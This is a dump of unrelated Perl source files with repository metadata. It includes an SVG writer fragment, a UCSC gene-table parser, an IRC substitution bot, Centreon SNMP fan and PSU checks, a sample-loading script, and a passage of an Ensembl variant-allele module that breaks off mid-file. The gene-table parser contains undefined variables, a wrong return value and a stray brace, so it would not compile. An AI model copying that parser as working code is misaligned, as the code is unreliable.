"http://www.w3.org/TR/2000/CR-SVG-20001102/DTD/svg-20001102.dtd"; $self->{XML_Link} = "http://www.w3.org/1999/xlink"; $self->{header} = "false"; $self->{LineNumber} = 0; $self->{ErrorNumber} = 0; $self->{FilePath} = ""; $self->{Debug} = "false"; $self->{NoNags} = "false"; $self->{InCGI} = "false"; } # indicates status of object creation [private] sub init { my $self = shift; $self->{LineNumber}++; } # opens an output stream specified by user specified filename # USAGE: $FileObj->open("filename.svg", OPTIONAL [silent|bin|append|noheader|public|debug|encoding]); sub open { my $self = shift; $self->{LineNumber}++; my $path = $self->{filename}; my $bin = "false"; my $mode = "false"; my $header = "true"; my $public = "private"; my $encoding = "empty"; my @arguments = @_; if ($path =~ /^cgi$/) {$self->{InCGI} = "true"} for (my $i=0; $i<@arguments; $i++) { if ($arguments[$i] =~ /^silent$/) { $self->{NoNags} = "true"; splice(@arguments, $i--, 1); } } $self->message_out("\n$self->{info} beta release"); $self->message_out("$self->{copyright}\n"); $self->message_out("File object created successfully"); for (my $i=0; $i<@arguments; $i++) { if ($arguments[$i] =~ /^bin$/) { $bin = "true"; splice(@arguments, $i--, 1); } elsif ($arguments[$i] =~ /^append$/) { $mode = "true"; splice(@arguments, $i--, 1); } elsif ($arguments[$i] =~ /^noheader$/) { $header = "false"; splice(@arguments, $i--, 1); } elsif ($arguments[$i] =~ /^public$/ && $header =~ /^true$/) { $public = "public"; splice(@arguments, $i--, 1); } elsif ($arguments[$i] =~ /^encoding$/) { (my $attrib, $encoding) = splice(@arguments, $i--, 2); } elsif ( $self->{InCGI} =~ /^false$/ && $arguments[$i] =~ /^debug$/ ) { open( __EH00, ">>Error.log" ) || $self->message_err( "Cannot open \"Error.log\" for output", $self->{LineNumber} ); $self->{Debug} = "true"; $self->{ErrorHandle} = \*__EH00; $self->message_out("Error log created successfully"); my @time = localtime(time); my @months = qw(Jan Feb Mar Apr May Jun Jul Aug Sep Oct Nov Dec); my $filetime = "$time[2]:$time[1]:$time[0] - $time[3] $months[$time[4]] $time[5]"; print __EH00 "***** BEGIN $filetime *****"; splice(@arguments, $i--, 1); } } if (@arguments > 0) {$self->message_err("unrecognised argument(s) or value(s) - @arguments", $self->{LineNumber})} if ($self->{InCGI} =~ /^false$/) { if( !ref($path) ) { rename($path,"$path\~") if( -w $path && $self->{pdf_make_file_backup} ); if ($mode =~ /^true$/) {open( $self->{FileHandle}, ">>$path" ) || $self->message_err( "Cannot open svg file \"$path\" for output", $self->{LineNumber} )} else {open( $self->{FileHandle}, ">$path" ) || $self->message_err( "Cannot open svg file \"$path\" for output", $self->{LineNumber} )} if ($bin =~ /^true$/) {binmode $self->{FileHandle}} } else { $self->{FileHandle} = $path; } $self->{FilePath} = $path; } if ($header =~ /^true$/) {@arguments = $self->header($public,$encoding)} } # closes output stream of the current object # USAGE: $FileObj->close(); sub close { my $self = shift; my $fh = ${$self->{FileHandle}}; if ($self->{InCGI} =~ /^false$/) { foreach (@_) { my $other = $_; $other->{LineNumber}++; for (my $i=@{$other->{inQueue}}-1; $i>=0; $i--) { # if (!($other->{inBoundary} =~ /^empty$/)) { # print $fh "\n</$other->{inBoundary}>"; $other->message_err("closing tag for boundary \"$other->{inBoundary}\" missing", $other->{LineNumber}, "</$other->{inBoundary}> assumed"); $other->e(); # } # $other->{inBoundary} = ${$other->{inQueue}}[$i]; } if ($other->{ErrorNumber} != 0) {$self->message_out(" ")} $self->message_out("\nExecution completed - SVG document \"$self->{FilePath}\" generated successfully"); $self->message_out("\nTotal number of statements executed: $other->{LineNumber}"); $self->message_out("Total number of errors encountered: $other->{ErrorNumber}"); if ($self->{Debug} =~ /^true$/) { $self->message_out("Error messages appended to end of \"Error.log\""); } } # close g objects $self->newline(); close $fh or $self->message_err($!); if ($self->{Debug} =~ /^true$/) { my $eh = ${$self->{ErrorHandle}}; print $eh "\n***** END *****\n\n"; $self->{Debug} = "false"; close $eh or $self->message_err($!); } } # if CGI } 1; # Perl notation to end a module
ablifedev/ABLIRC
ABLIRC/bin/Clip-Seq/ABLIFE/svg/Svg/File.pm
Perl
mit
6,481
package GAL::Parser::ucsc_gene_table; use strict; use vars qw($VERSION); $VERSION = 0.2.0; use base qw(GAL::Parser); use GAL::Reader::DelimitedLine; =head1 NAME GAL::Parser::ucsc_gene_table - Parse UCSC gene table files. knownGene.txt refGene.txt ccdsGene.txt wgEncodeGencodeManualV4.txt vegaGene.txt ensGene.txt =head1 VERSION This document describes GAL::Parser::ucsc_gene_table version 0.2.0 =head1 SYNOPSIS my $parser = GAL::Parser::ucsc_gene_table->new(file => 'ucsc_gene_table.txt'); while (my $feature_hash = $parser->next_feature_hash) { print $parser->to_gff3($feature_hash) . "\n"; } =head1 DESCRIPTION L<GAL::Parser::ucsc_gene_table> provides a parser for UCSC_GENE_TABLE data. =head1 Constructor New L<GAL::Parser::ucsc_gene_table> objects are created by the class method new. Arguments should be passed to the constructor as a list (or reference) of key value pairs. All attributes of the L<GAL::Parser::ucsc_gene_table> object can be set in the call to new. An simple example of object creation would look like this: my $parser = GAL::Parser::ucsc_gene_table->new(file => 'ucsc_gene_table.txt'); The constructor recognizes the following parameters which will set the appropriate attributes: =over 4 =item * C<< file => feature_file.txt >> This optional parameter provides the filename for the file containing the data to be parsed. While this parameter is optional either it, or the following fh parameter must be set. =item * C<< fh => feature_file.txt >> This optional parameter provides a filehandle to read data from. While this parameter is optional either it, or the following fh parameter must be set. =back =cut #----------------------------------------------------------------------------- =head2 new Title : new Usage : GAL::Parser::ucsc_gene_table->new(); Function: Creates a GAL::Parser::ucsc_gene_table object; Returns : A GAL::Parser::ucsc_gene_table object Args : See the attributes described above. =cut sub new { my ($class, @args) = @_; my $self = $class->SUPER::new(@args); return $self; } #----------------------------------------------------------------------------- sub _initialize_args { my ($self, @args) = @_; ###################################################################### # This block of code handels class attributes. Use the # @valid_attributes below to define the valid attributes for # this class. You must have identically named get/set methods # for each attribute. Leave the rest of this block alone! ###################################################################### my $args = $self->SUPER::_initialize_args(@args); my @valid_attributes = qw(file fh); # Set valid class attributes here $self->set_attributes($args, @valid_attributes); ###################################################################### } #----------------------------------------------------------------------------- =head2 parse_record Title : parse_record Usage : $a = $self->parse_record(); Function: Parse the data from a record. Returns : A hash ref needed by Feature.pm to create a Feature object Args : A hash ref of fields that this sub can understand (In this case GFF3). =cut sub parse_record { my ($self, $record) = @_; # bin name chrom strand txStart txEnd cdsStart cdsEnd # exonCount exonStarts exonEnds score name2 cdsStartStat # cdsEndStat exonFrames my $feature_id = $record->{name}; my $seqid = $record->{chrom}; my $source = 'UCSC'; my $type = 'mRNA'; my $start = $record->{txStart}; my $end = $record->{txEnd}; my $score = $record->{score}; my $strand = $record->{strand}; my $phase = '.'; my $attributes = {ID => [$feature_id]}; $attributes->{Dbxref} = [$record->{name2}] if $record->{name2}; my $transcript = {feature_id => $feature_id, seqid => $seqid, source => $source, type => $type, start => $start, end => $end, score => $score, strand => $strand, phase => $phase, attributes => $attributes, }; my @features = ($transcript); my @exon_starts = split ',', $record->{exonStarts}; my @exon_ends = split ',', $record->{exonEnds}; if (@exon_starts != scalar @exon_ends) { $self->warn('mis_matched_exon_start_ends', "Mismatched exon starts and ends $name", ); } my @exon_pairs; for my $i (0 .. scalar @exon_starts - 1) { my ($start, $end) = ($exon_starts[$i], $exon_ends[$i]); if ($start > $end) { $self->warn('negative_length_exon', "Negative length exon ($name, $start, $end)" ); } if ($start == $end) { $self->warn('zero_length_exon', "Zero length exon : $name, $start, $end" ); } push @exon_pairs, [$start, $end]; } if ($self->any_overlaps(@exon_pairs)) { $self->warn('exons_overlap', "Exons overlap $name", ); } my @cds_pairs; for my $pair (@exon_pairs) { last if $cdsEnd - $cdsStart < 3; #Dont allow a CDS < 3nt long. my ($start, $end) = @{$pair}; next if $end < $cdsStart; last if $start > $cdsEnd; $start = $cdsStart if ($start < $cdsStart && $end > $cdsStart); $end = $cdsEnd if ($start < $cdsEnd && $end > $cdsEnd); push @cds_pairs, [$start, $end]; } my $exons = $self->build_child_features(parent => $transcript, type => 'exon', coordinates => \@exon_pairs ); my $CDSs = $self->build_child_features(parent => $transcript, type => 'CDS', coordinates => \@cds_pairs ); push @features, (@{$exons}, @{$CDSs}); return $feature; } #----------------------------------------------------------------------------- =head2 reader Title : reader Usage : $a = $self->reader Function: Return the reader object. Returns : A GAL::Reader::DelimitedLine singleton. Args : None =cut sub reader { my $self = shift; if (! $self->{reader}) { my @field_names = qw(bin name chrom strand txStart txEnd cdsStart cdsEnd exonCount exonStarts exonEnds score name2 cdsStartStat cdsEndStat exonFrames); my $reader = GAL::Reader::DelimitedLine->new(field_names => \@field_names); $self->{reader} = $reader; } return $self->{reader}; } #----------------------------------------------------------------------------- sub any_overlaps { my ($self, $pairs) = @_; for my $i (0 .. scalar @{@pairs} - 1) { my $pair_i = $pairs->[$i]; for my $j (0 .. scalar @pairs - 1) { next if $i == $j; my $pair_j = $pairs->[$j]; # Return 1 unless these two don't overlap return 1 unless ($pair_i->[1] < $pair_j->[0] or $pair_i->[0] > $pair_j->[1]); } } # We never overlaped so return false return 0; } #----------------------------------------------------------------------------- sub build_child_features { my %args = @_; my $parent = $args{parent}; my $type = $args{type}; my $coords = $args{coordinates}; my $parent_id = $parent->{feature_id}; my @features; my $count; for my $pair (@{$coords}) { my ($start, $end) = @{$pair}; my %feature = %{$parent}; my $attributes = {gene_id => [$parent_id], transcript_id => [$parent_id], }; @feature{qw(type start end attributes)} = ($type, $start, $end, $attributes); push @features, \%feature; } } return \@features; } #----------------------------------------------------------------------------- =head1 DIAGNOSTICS L<GAL::Parser::ucsc_gene_table> does not throw any warnings or errors. =head1 CONFIGURATION AND ENVIRONMENT L<GAL::Parser::ucsc_gene_table> requires no configuration files or environment variables. =head1 DEPENDENCIES L<GAL::Parser> L<GAL::Reader::DelimitedLine> =head1 INCOMPATIBILITIES None reported. =head1 BUGS AND LIMITATIONS No bugs have been reported. Please report any bugs or feature requests to: barry.moore@genetics.utah.edu =head1 AUTHOR Barry Moore <barry.moore@genetics.utah.edu> =head1 LICENCE AND COPYRIGHT Copyright (c) 2010-2014, Barry Moore <barry.moore@genetics.utah.edu>. All rights reserved. This module is free software; you can redistribute it and/or modify it under the same terms as Perl itself (See LICENSE). =head1 DISCLAIMER OF WARRANTY BECAUSE THIS SOFTWARE IS LICENSED FREE OF CHARGE, THERE IS NO WARRANTY FOR THE SOFTWARE, TO THE EXTENT PERMITTED BY APPLICABLE LAW. EXCEPT WHEN OTHERWISE STATED IN WRITING THE COPYRIGHT HOLDERS AND/OR OTHER PARTIES PROVIDE THE SOFTWARE "AS IS" WITHOUT WARRANTY OF ANY KIND, EITHER EXPRESSED OR IMPLIED, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE. THE ENTIRE RISK AS TO THE QUALITY AND PERFORMANCE OF THE SOFTWARE IS WITH YOU. SHOULD THE SOFTWARE PROVE DEFECTIVE, YOU ASSUME THE COST OF ALL NECESSARY SERVICING, REPAIR, OR CORRECTION. IN NO EVENT UNLESS REQUIRED BY APPLICABLE LAW OR AGREED TO IN WRITING WILL ANY COPYRIGHT HOLDER, OR ANY OTHER PARTY WHO MAY MODIFY AND/OR REDISTRIBUTE THE SOFTWARE AS PERMITTED BY THE ABOVE LICENCE, BE LIABLE TO YOU FOR DAMAGES, INCLUDING ANY GENERAL, SPECIAL, INCIDENTAL, OR CONSEQUENTIAL DAMAGES ARISING OUT OF THE USE OR INABILITY TO USE THE SOFTWARE (INCLUDING BUT NOT LIMITED TO LOSS OF DATA OR DATA BEING RENDERED INACCURATE OR LOSSES SUSTAINED BY YOU OR THIRD PARTIES OR A FAILURE OF THE SOFTWARE TO OPERATE WITH ANY OTHER SOFTWARE), EVEN IF SUCH HOLDER OR OTHER PARTY HAS BEEN ADVISED OF THE POSSIBILITY OF SUCH DAMAGES. =cut 1;
4ureliek/TEanalysis
Lib/GAL/Parser/ucsc_gene_table.pm
Perl
mit
9,606
use 5.020; package Bot::BasicBot::Pluggable::Module::Substitution { our $VERSION = '0.01'; use parent 'Bot::BasicBot::Pluggable::Module'; sub help { "Handles s///" } sub told { my ($self, $msg) = @_; my $nick = $msg->{who}; my $channel = $msg->{channel}; if ($msg->{body} =~ m{\bs/([^/]+)/([^/]+)/?}) { my ($pattern, $replacement) = ($1, $2); my $orig = $self->get("sub_$nick$channel"); if ($orig) { my $new; if ($msg->{body} =~ m{\bs/[^/]+/[^/]+}g) { $new = $orig =~ s/$pattern/$replacement/gr; } else { $new = $orig =~ s/$pattern/$replacement/r; } if ($new ne $orig) { $self->set("sub_$nick$channel" => $new); return "$nick meant to say: $new"; } } } else { $self->set("sub_$nick$channel" => $msg->{body}); } return; } } 1;
tadzik/golbot
Bot/BasicBot/Pluggable/Module/Substitution.pm
Perl
mit
1,054
# !!!!!!! DO NOT EDIT THIS FILE !!!!!!! # This file is machine-generated by lib/unicore/mktables from the Unicode # database, Version 12.1.0. Any changes made here will be lost! # !!!!!!! INTERNAL PERL USE ONLY !!!!!!! # This file is for internal use by core Perl only. The format and even the # name or existence of this file are subject to change without notice. Don't # use it directly. Use Unicode::UCD to access the Unicode character data # base. return <<'END'; V28 2817 2820 2821 2829 2831 2833 2835 2857 2858 2865 2866 2868 2869 2874 2876 2885 2887 2889 2891 2894 2902 2904 2908 2910 2911 2916 2918 2936 END
operepo/ope
client_tools/svc/rc/usr/share/perl5/core_perl/unicore/lib/Sc/Orya.pl
Perl
mit
631
#!/usr/bin/env perl use Gtk3 '-init'; my $window = Gtk3::Window->new(); $window->set_title('AspectFrame'); $window->set_default_size(200, 200); $window->signal_connect('destroy' => sub {Gtk3->main_quit}); my $label = Gtk3::Label->new('Label in a Frame'); my $aspectframe = Gtk3::AspectFrame->new('AspectFrame', 0, 0, 1.0, 0); $aspectframe->set_border_width(5); $aspectframe->add($label); $window->add($aspectframe); $window->show_all(); Gtk3->main();
Programmica/perl-gtk3-examples
aspectframe.pl
Perl
cc0-1.0
457
# # Copyright 2018 Centreon (http://www.centreon.com/) # # Centreon is a full-fledged industry-strength solution that meets # the needs in IT infrastructure and application monitoring for # service performance. # # Licensed under the Apache License, Version 2.0 (the "License"); # you may not use this file except in compliance with the License. # You may obtain a copy of the License at # # http://www.apache.org/licenses/LICENSE-2.0 # # Unless required by applicable law or agreed to in writing, software # distributed under the License is distributed on an "AS IS" BASIS, # WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. # See the License for the specific language governing permissions and # limitations under the License. # package network::hirschmann::standard::snmp::mode::components::fan; use strict; use warnings; my %map_fan_status = ( 1 => 'ok', 2 => 'failed', ); # In MIB 'hmpriv.mib' my $mapping = { hmFanState => { oid => '.1.3.6.1.4.1.248.14.1.3.1.3', map => \%map_fan_status }, }; sub load { my ($self) = @_; push @{$self->{request}}, { oid => $mapping->{hmFanState}->{oid} }; } sub check { my ($self) = @_; $self->{output}->output_add(long_msg => "Checking fans"); $self->{components}->{fan} = {name => 'fans', total => 0, skip => 0}; return if ($self->check_filter(section => 'fan')); foreach my $oid ($self->{snmp}->oid_lex_sort(keys %{$self->{results}->{$mapping->{hmFanState}->{oid}}})) { next if ($oid !~ /^$mapping->{hmFanState}->{oid}\.(.*)$/); my $instance = $1; my $result = $self->{snmp}->map_instance(mapping => $mapping, results => $self->{results}->{$mapping->{hmFanState}->{oid}}, instance => $instance); next if ($self->check_filter(section => 'fan', instance => $instance)); $self->{components}->{fan}->{total}++; $self->{output}->output_add(long_msg => sprintf("fan '%s' status is %s [instance: %s].", $instance, $result->{hmFanState}, $instance )); my $exit = $self->get_severity(section => 'fan', value => $result->{hmFanState}); if (!$self->{output}->is_status(value => $exit, compare => 'ok', litteral => 1)) { $self->{output}->output_add(severity => $exit, short_msg => sprintf("fan '%s' status is %s", $instance, $result->{hmFanState})); } } } 1;
wilfriedcomte/centreon-plugins
network/hirschmann/standard/snmp/mode/components/fan.pm
Perl
apache-2.0
2,576
#!/usr/bin/env perl use strict; use warnings; use Text::Delimited; use Getopt::Long; use BioSD; use DBI; use List::Util qw(); my $sample_file = '/nfs/1000g-archive/vol1/ftp/technical/working/20130606_sample_info/20130606_sample_info.txt'; my $biosample_group = 'SAMEG305842'; my ($dbname, $dbhost, $dbuser, $dbport, $dbpass) = ('igsr_website_v2', 'mysql-igsr-web', 'g1krw', 4641, undef); &GetOptions( 'sample_file=s' => \$sample_file, 'biosample_group=s' => \$biosample_group, 'dbpass=s' => \$dbpass, 'dbport=s' => \$dbport, 'dbuser=s' => \$dbuser, 'dbhost=s' => \$dbhost, 'dbname=s' => \$dbname, ); my %biosamples; foreach my $biosample (@{BioSD::fetch_group($biosample_group)->samples}) { $biosamples{$biosample->property('Sample Name')->values->[0]} = $biosample; } my $dbh = DBI->connect("DBI:mysql:$dbname;host=$dbhost;port=$dbport", $dbuser, $dbpass) or die $DBI::errstr; my $insert_sql = 'INSERT INTO sample (name, biosample_id, population_id, sex) SELECT name, b_id, pop, sex FROM (SELECT ? AS name, ? AS b_id, population_id AS pop, ? AS sex FROM population where code=?) AS s2 ON DUPLICATE KEY UPDATE biosample_id=s2.b_id, population_id=pop, sex=s2.sex'; my $sth = $dbh->prepare($insert_sql) or die $dbh->errstr; my %samples; my $sample_fh = new Text::Delimited; $sample_fh->delimiter("\t"); $sample_fh->open($sample_file) or die "could not open $sample_file $!"; while( my $line = $sample_fh->read) { my $biosample = $biosamples{$line->{Sample}}; my $sex = $line->{Gender} ? uc(substr($line->{Gender}, 0, 1)) : undef; $sth->bind_param(1, $line->{Sample}); $sth->bind_param(2, $biosample->id); $sth->bind_param(3, $sex); $sth->bind_param(4, $line->{Population}); my $rv = $sth->execute() or die $sth->errstr; } $sample_fh->close(); =pod =head1 NAME igsr-code/scripts/elasticsearch/populate_samples.mysql.pl =head1 SYNONPSIS This is how samples originally entered the mysql database. This script was written because the best source of sample information (in April 2016) was the text-delimited file /nfs/1000g-archive/vol1/ftp/technical/working/20130606_sample_info/20130606_sample_info.txt This is what the script does: Fetches the biosamples group SAMEG305842 using the xml API. This is to find the biosamples id of each sample. For each sample in the file, create a new row in the sample table. On duplicate keys, it updates the row in the sample table. This script should probably never be used again for loading samples. New data collections to IGSR will have different sources of information. At best, this script could be a template for what a sample-loading script might look like. =cut
igsr/igsr-code
scripts/elasticsearch/populate_samples.mysql.pl
Perl
apache-2.0
2,703
# # Copyright 2019 Centreon (http://www.centreon.com/) # # Centreon is a full-fledged industry-strength solution that meets # the needs in IT infrastructure and application monitoring for # service performance. # # Licensed under the Apache License, Version 2.0 (the "License"); # you may not use this file except in compliance with the License. # You may obtain a copy of the License at # # http://www.apache.org/licenses/LICENSE-2.0 # # Unless required by applicable law or agreed to in writing, software # distributed under the License is distributed on an "AS IS" BASIS, # WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. # See the License for the specific language governing permissions and # limitations under the License. # package network::redback::snmp::mode::components::psu; use strict; use warnings; my %map_psu_status = ( 1 => 'normal', 2 => 'failed', 3 => 'absent', 4 => 'unknown', ); # In MIB 'RBN-ENVMON.mib' my $mapping = { rbnPowerDescr => { oid => '.1.3.6.1.4.1.2352.2.4.1.2.1.2' }, rbnPowerStatus => { oid => '.1.3.6.1.4.1.2352.2.4.1.2.1.4', map => \%map_psu_status }, }; my $oid_rbnPowerStatusEntry = '.1.3.6.1.4.1.2352.2.4.1.2.1'; sub load { my ($self) = @_; push @{$self->{request}}, { oid => $oid_rbnPowerStatusEntry }; } sub check { my ($self) = @_; $self->{output}->output_add(long_msg => "Checking power supplies"); $self->{components}->{psu} = {name => 'psus', total => 0, skip => 0}; return if ($self->check_filter(section => 'psu')); foreach my $oid ($self->{snmp}->oid_lex_sort(keys %{$self->{results}->{$oid_rbnPowerStatusEntry}})) { next if ($oid !~ /^$mapping->{rbnPowerStatus}->{oid}\.(.*)$/); my $instance = $1; my $result = $self->{snmp}->map_instance(mapping => $mapping, results => $self->{results}->{$oid_rbnPowerStatusEntry}, instance => $instance); next if ($self->check_filter(section => 'psu', instance => $instance)); next if ($result->{rbnPowerStatus} =~ /absent/i && $self->absent_problem(section => 'psu', instance => $instance)); $self->{components}->{psu}->{total}++; $self->{output}->output_add(long_msg => sprintf("Power supply '%s' status is %s [instance: %s].", $result->{rbnPowerDescr}, $result->{rbnPowerStatus}, $instance )); my $exit = $self->get_severity(section => 'psu', value => $result->{rbnPowerStatus}); if (!$self->{output}->is_status(value => $exit, compare => 'ok', litteral => 1)) { $self->{output}->output_add(severity => $exit, short_msg => sprintf("Power supply '%s' status is %s", $result->{rbnPowerDescr}, $result->{rbnPowerStatus})); } } } 1;
Sims24/centreon-plugins
network/redback/snmp/mode/components/psu.pm
Perl
apache-2.0
2,944
=head1 LICENSE Copyright [1999-2015] Wellcome Trust Sanger Institute and the EMBL-European Bioinformatics Institute Copyright [2016-2017] EMBL-European Bioinformatics Institute Licensed under the Apache License, Version 2.0 (the "License"); you may not use this file except in compliance with the License. You may obtain a copy of the License at http://www.apache.org/licenses/LICENSE-2.0 Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on an "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY kind, either express or implied. See the License for the specific language governing permissions and limitations under the License. =cut =head1 CONTACT Please email comments or questions to the public Ensembl developers list at <http://lists.ensembl.org/mailman/listinfo/dev>. Questions may also be sent to the Ensembl help desk at <http://www.ensembl.org/Help/Contact>. =cut =head1 NAME Bio::EnsEMBL::Variation::TranscriptVariationAllele =head1 SYNOPSIS use Bio::EnsEMBL::Variation::TranscriptVariationAllele; my $tva = Bio::EnsEMBL::Variation::TranscriptVariationAllele->new( -transcript_variation => $tv, -variation_feature_seq => 'A', -is_reference => 0, ); print "sequence with respect to the transcript: ", $tva->feature_seq, "\n"; print "sequence with respect to the variation feature: ", $tva->variation_feature_seq, "\n"; print "consequence SO terms: ", (join ",", map { $_->SO_term } @{ $tva->get_all_OverlapConsequences }), "\n"; print "amino acid change: ", $tva->pep_allele_string, "\n"; print "resulting codon: ", $tva->codon, "\n"; print "reference codon: ", $tva->transcript_variation->get_reference_TranscriptVariationAllele->codon, "\n"; print "PolyPhen prediction: ", $tva->polyphen_prediction, "\n"; print "SIFT prediction: ", $tva->sift_prediction, "\n"; =head1 DESCRIPTION A TranscriptVariationAllele object represents a single allele of a TranscriptVariation. It provides methods that are specific to the sequence of the allele, such as codon, peptide etc. Methods that depend only on position (e.g. CDS start) will be found in the associated TranscriptVariation. Ordinarily you will not create these objects yourself, but instead you would create a TranscriptVariation object which will then construct TranscriptVariationAlleles based on the allele string of the associated VariationFeature. Note that any methods that are not specific to Transcripts will be found in the VariationFeatureOverlapAllele superclass. =cut package Bio::EnsEMBL::Variation::TranscriptVariationAllele; use strict; use warnings; use Bio::EnsEMBL::Variation::ProteinFunctionPredictionMatrix qw($AA_LOOKUP); use Bio::EnsEMBL::Utils::Exception qw(throw warning); use Bio::EnsEMBL::Variation::Utils::Sequence qw(hgvs_variant_notation format_hgvs_string get_3prime_seq_offset); use Bio::EnsEMBL::Utils::Sequence qw(reverse_comp); use Bio::EnsEMBL::Variation::Utils::VariationEffect qw(overlap within_cds within_intron stop_lost start_lost frameshift stop_retained); use base qw(Bio::EnsEMBL::Variation::VariationFeatureOverlapAllele Bio::EnsEMBL::Variation::BaseTranscriptVariationAllele); our $DEBUG = 0; our $NO_TRANSFER = 0; sub new_fast { my ($class, $hashref, $strong) = @_; # swap a transcript_variation argument for a variation_feature_overlap one if ($hashref->{transcript_variation}) { $hashref->{variation_feature_overlap} = delete $hashref->{transcript_variation}; } # and call the superclass return $class->SUPER::new_fast($hashref, $strong); } =head2 transcript_variation Description: Get/set the associated TranscriptVariation Returntype : Bio::EnsEMBL::Variation::TranscriptVariation Exceptions : throws if the argument is the wrong type Status : Stable =cut sub transcript_variation { my ($self, $tv) = @_; assert_ref($tv, 'Bio::EnsEMBL::Variation::TranscriptVariation') if $Bio::EnsEMBL::Utils::Scalar::ASSERTIONS && $tv; return $self->variation_feature_overlap($tv); } =head2 variation_feature Description: Get the associated VariationFeature Returntype : Bio::EnsEMBL::Variation::VariationFeature Exceptions : none Status : Stable =cut sub variation_feature { my $self = shift; return $self->transcript_variation->variation_feature; } =head2 affects_peptide Description: Check if this changes the resultant peptide sequence Returntype : boolean Exceptions : None Caller : general Status : At Risk =cut sub affects_peptide { my $self = shift; return scalar grep { $_->SO_term =~ /stop|missense|frameshift|inframe|initiator/ } @{$self->get_all_OverlapConsequences}; } =head2 pep_allele_string Description: Return a '/' delimited string of the reference peptide and the peptide resulting from this allele, or a single peptide if this allele does not change the peptide (e.g. because it is synonymous) Returntype : string or undef if this allele is not in the CDS Exceptions : none Status : Stable =cut sub pep_allele_string { my ($self) = @_; my $pep = $self->peptide; return undef unless $pep; my $ref_pep = $self->transcript_variation->get_reference_TranscriptVariationAllele->peptide; return undef unless $ref_pep; return $ref_pep ne $pep ? $ref_pep.'/'.$pep : $pep; } =head2 codon_allele_string Description: Return a '/' delimited string of the reference codon and the codon resulting from this allele Returntype : string or undef if this allele is not in the CDS Exceptions : none Status : Stable =cut sub codon_allele_string { my ($self) = @_; my $codon = $self->codon; return undef unless $codon; my $ref_codon = $self->transcript_variation->get_reference_TranscriptVariationAllele->codon; return $ref_codon.'/'.$codon; } =head2 display_codon_allele_string Description: Return a '/' delimited string of the reference display_codon and the display_codon resulting from this allele. The display_codon identifies the nucleotides affected by this variant in UPPER CASE and other nucleotides in lower case Returntype : string or undef if this allele is not in the CDS Exceptions : none Status : Stable =cut sub display_codon_allele_string { my ($self) = @_; my $display_codon = $self->display_codon; return undef unless $display_codon; my $ref_display_codon = $self->transcript_variation->get_reference_TranscriptVariationAllele->display_codon; return undef unless $ref_display_codon; return $ref_display_codon.'/'.$display_codon; } =head2 peptide Description: Return the amino acid sequence that this allele is predicted to result in Returntype : string or undef if this allele is not in the CDS or is a frameshift Exceptions : none Status : Stable =cut sub peptide { my ($self, $peptide) = @_; $self->{peptide} = $peptide if $peptide; unless(exists($self->{peptide})) { $self->{peptide} = undef; return $self->{peptide} unless $self->seq_is_unambiguous_dna; if(my $codon = $self->codon) { # the codon method can set the peptide in some circumstances # so check here before we try an (expensive) translation return $self->{peptide} if $self->{peptide}; my $tv = $self->base_variation_feature_overlap; # for mithocondrial dna we need to to use a different codon table my $codon_table = $tv->_codon_table; # check the cache my $pep_cache = $main::_VEP_CACHE->{pep}->{$codon_table} ||= {}; if(!($self->{is_reference} && scalar @{$tv->_seq_edits}) && ($self->{peptide} = $pep_cache->{$codon})) { return $self->{peptide}; } # translate the codon sequence to establish the peptide allele # allow for partial codons - split the sequence into whole and partial # e.g. AAAGG split into AAA and GG my $whole_codon = substr($codon, 0, int(length($codon) / 3) * 3); my $partial_codon = substr($codon, int(length($codon) / 3) * 3); my $pep = ''; if($whole_codon) { my $codon_seq = Bio::Seq->new( -seq => $whole_codon, -moltype => 'dna', -alphabet => 'dna', ); $pep .= $codon_seq->translate(undef, undef, undef, $codon_table)->seq; } # apply any seq edits? my $have_edits = 0; if($self->{is_reference}) { my $seq_edits = $tv->_seq_edits; if(scalar @$seq_edits) { # get TV coords, switch if necessary my ($tv_start, $tv_end) = ($tv->translation_start, $tv->translation_end); ($tv_start, $tv_end) = ($tv_end, $tv_start) if $tv_start > $tv_end; # get all overlapping seqEdits SE: foreach my $se(grep {overlap($tv_start, $tv_end, $_->start, $_->end)} @$seq_edits) { my ($se_start, $se_end, $alt) = ($se->start, $se->end, $se->alt_seq); my $se_alt_seq_length = length($alt); $have_edits = 1; # loop over each overlapping pos foreach my $tv_pos(grep {overlap($_, $_, $se_start, $se_end)} ($tv_start..$tv_end)) { # in some cases, the sequence edit can shorten the protein # this means our TV can fall outside the range of the edited protein # therefore for safety jump out if($tv_pos - $se_start >= $se_alt_seq_length) { return $self->{peptide} = undef; } # apply edit, adjusting for string position substr($pep, $tv_pos - $tv_start, 1) = substr($alt, $tv_pos - $se_start, 1); } } } } if($partial_codon && $pep ne '*') { $pep .= 'X'; } $pep ||= '-'; $pep_cache->{$codon} = $pep if length($codon) <= 3 && !$have_edits; $self->{peptide} = $pep; } } return $self->{peptide}; } =head2 codon Description: Return the codon sequence that this allele is predicted to result in Returntype : string or undef if this allele is not in the CDS or is a frameshift Exceptions : none Status : Stable =cut sub codon { my ($self, $codon) = @_; $self->{codon} = $codon if defined $codon; unless(exists($self->{codon})) { $self->{codon} = undef; my $tv = $self->base_variation_feature_overlap; my ($tv_tr_start, $tv_tr_end) = ($tv->translation_start, $tv->translation_end); unless($tv_tr_start && $tv_tr_end && $self->seq_is_dna) { return $self->{codon}; } # try to calculate the codon sequence my $seq = $self->feature_seq; $seq = '' if $seq eq '-'; # calculate necessary coords and lengths my $codon_cds_start = $tv_tr_start * 3 - 2; my $codon_cds_end = $tv_tr_end * 3; my $codon_len = $codon_cds_end - $codon_cds_start + 1; my $vf_nt_len = $tv->cds_end - $tv->cds_start + 1; my $allele_len = $self->seq_length; my $cds; if ($allele_len != $vf_nt_len) { if (abs($allele_len - $vf_nt_len) % 3) { # this is a frameshift variation, we don't attempt to # calculate the resulting codon or peptide change as this # could get quite complicated # return undef; } ## Bioperl Seq object my $cds_obj = $self->_get_alternate_cds(); $cds = $cds_obj->seq(); } else { # splice the allele sequence into the CDS $cds = $tv->_translateable_seq; substr($cds, $tv->cds_start-1, $vf_nt_len) = $seq; } # and extract the codon sequence my $codon = substr($cds, $codon_cds_start-1, $codon_len + ($allele_len - $vf_nt_len)); if (length($codon) < 1) { $self->{codon} = '-'; $self->{peptide} = '-'; } else { $self->{codon} = $codon; } } return $self->{codon}; } 